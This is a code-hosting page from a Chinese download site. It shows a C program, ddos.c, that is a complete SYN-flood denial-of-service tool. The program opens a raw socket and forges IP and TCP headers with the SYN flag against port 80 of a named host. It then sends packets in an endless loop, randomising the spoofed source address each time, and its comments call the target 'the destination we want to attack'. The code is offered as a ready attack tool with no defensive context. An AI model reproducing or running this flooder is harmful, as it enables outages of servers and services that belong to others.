⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ddos.c

📁 ddos 关于网络安全方面的代码
💻 C
字号:
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netinet/ip.h> 
#include <netinet/tcp.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <unistd.h> 
#include <stdio.h> 
#include <netdb.h> 

#define DESTPORT 80 /* the port we are going to attack */ 
#define LOCALPORT 8888 

void send_tcp(int sockfd,struct sockaddr_in *addr); 
unsigned short check_sum(unsigned short *addr,int len); 

int main(int argc,char **argv) 
{ 
int sockfd; 
struct sockaddr_in addr; 
struct hostent *host; 
int on=1; 

if(argc!=2) 
{ 
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); 
exit(1); 
} 

bzero(&addr,sizeof(struct sockaddr_in)); 
addr.sin_family=AF_INET; 
addr.sin_port=htons(DESTPORT); 

if(inet_aton(argv[1],&addr.sin_addr)==0) 
{ 
host=gethostbyname(argv[1]); 
if(host==NULL) 
{ 
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); 
exit(1); 
} 
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); 
} 

/**** using IPPROTO_TCP to create a TCP RAW Socket ****/ 

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); 
if(sockfd<0) 
{ 
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); 
exit(1); 
} 
/******** set the IP data packet format, and tell the system that we fill in the IP data packet ourselves ***/ 

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); 

/**** to get the super id to use the RAW socket *********/ 
setuid(getpid()); 

/********* to send bomb ****/ 
send_tcp(sockfd,&addr); 
} 

/******* to complete the bomb *********/ 
void send_tcp(int sockfd,struct sockaddr_in *addr) 
{ 
char buffer[100]; /**** to contain our own data packet ****/ 
struct ip *ip; 
struct tcphdr *tcp; 
int head_len; 

/******* the length is the sum of the ip and tcp ***/ 

head_len=sizeof(struct ip)+sizeof(struct tcphdr); 

bzero(buffer,100); 

/******** to fill in the header of the ip data packet ******/ 
ip=(struct ip *)buffer; 
ip->ip_v=IPVERSION; /** popularly the version is 4 **/ 
ip->ip_hl=sizeof(struct ip)>>2; /** the head length of IP data packet  **/ 
ip->ip_tos=0; /** service type **/ 
ip->ip_len=htons(head_len); /** the length of IP data packet **/ 
ip->ip_id=0; /** to tell the system to do it **/ 
ip->ip_off=0; /** the same to the above **/ 
ip->ip_ttl=MAXTTL; /** the longest time 255 **/ 
ip->ip_p=IPPROTO_TCP; /** what we will send is the tcp packet **/ 
ip->ip_sum=0; /** the check sum task is left to system **/ 
ip->ip_dst=addr->sin_addr; /** the destination we want to attack **/ 

/******* to fill in the tcp packet *****/ 
tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); 
tcp->source=htons(LOCALPORT); 
tcp->dest=addr->sin_port; /** dest port **/ 
tcp->seq=random(); 
tcp->ack_seq=0; 
tcp->doff=5; 
tcp->syn=1; /** we want to create a connection **/ 
tcp->check=0; 


/** ok every thing is ok **/ 
while(1) 
{ 
/** you do not know where i am from, so wait ..... **/ 
ip->ip_src.s_addr=random(); 

/** we check the info header ourselves */ 
/** it is dispensable */ 
tcp->check=check_sum((unsigned short *)tcp, 
sizeof(struct tcphdr)); 
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); 
} 
} 

/*  */ 
unsigned short check_sum(unsigned short *addr,int len) 
{ 
register int nleft=len; 
register int sum=0; 
register short *w=addr; 
short answer=0; 

while(nleft>1) 
{ 
sum+=*w++; 
nleft-=2; 
} 
if(nleft==1) 
{ 
*(unsigned char *)(&answer)=*(unsigned char *)w; 
sum+=answer; 
} 

sum=(sum>>16)+(sum&0xffff); 
sum+=(sum>>16); 
answer=~sum; 
return(answer); 
}


⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -